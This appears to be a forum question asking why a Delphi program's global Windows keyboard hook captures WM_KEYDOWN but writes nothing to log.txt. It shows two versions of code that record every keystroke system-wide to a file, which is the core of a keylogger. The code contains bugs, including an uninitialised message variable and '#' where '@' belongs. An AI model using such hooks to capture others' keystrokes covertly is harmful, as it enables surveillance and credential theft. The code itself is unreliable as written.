How capture WM_KEYDOWN event through Windows hook? - delphi

Question

I'm wanting change a old code of keyboard hook for one better with support to unicode characters ( old code is ascii) and in this moment i have trouble to capture WM_KEYDOWN event.
My actual code is the following:
var
Form1: TForm1;
HookHandle: hHook;
ft: text;
implementation
{$R *.dfm}
function KBHookProc(Code: Integer; WParam: WParam; LParam: LParam)
: LRESULT; stdcall;
var
_Msg: TMessage;
VK: Integer;
SC: Integer;
buf: Char;
KS: TKeyboardState;
MyHKB: HKL;
begin
if Code = HC_ACTION then
begin
if _Msg.Msg = WM_KEYDOWN then
begin
VK := _Msg.WPARAM;
MyHKB := GetKeyboardLayout(_Msg.LParam);
SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB);
GetKeyboardState(KS);
ToUnicodeEx(VK, SC, KS, #buf, sizeof(buf), 0, MyHKB);
append(ft);
write(ft,buf);
closefile(ft);
MyHKB := 0;
end;
end;
Result := CallNextHookEx(HookHandle, Code, WParam, LParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(ft,'log.txt');
rewrite(ft);
closefile(ft);
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD , #KBHookProc, hinstance, 0);
end;
EDIT 1:
My code below is capturing WM_KEYDOWN with success, but nothing is written to file :-(.
Some suggestion?
var
Form1: TForm1;
HookHandle: hHook;
ft: text;
implementation
{$R *.dfm}
function LowLevelKeyboardProc(nCode: Integer; wParam: wParam;
lParam: lParam): LRESULT; stdcall;
var
_Msg: TMessage;
VK: Integer;
SC: Integer;
buf: Char;
KS: TKeyboardState;
MyHKB: HKL;
begin
if (nCode >= 0) and (wParam = WM_KEYDOWN) then
begin
VK := _Msg.WParam;
MyHKB := GetKeyboardLayout(_Msg.LParam);
SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB);
GetKeyboardState(KS);
ToUnicodeEx(VK, SC, KS, #buf, sizeof(buf), 0, MyHKB);
append(ft);
write(ft,buf);
closefile(ft);
MyHKB := 0;
end;
Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;
function InstallHook: Boolean;
begin
Result := False;
if HookHandle = 0 then
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
Result := HookHandle <> 0;
end;
end;
function UninstallHook: Boolean;
begin
Result := UnhookWindowsHookEx(HookHandle);
HookHandle := 0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(ft,'log.txt');
rewrite(ft);
closefile(ft);
InstallHook;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UninstallHook;
end;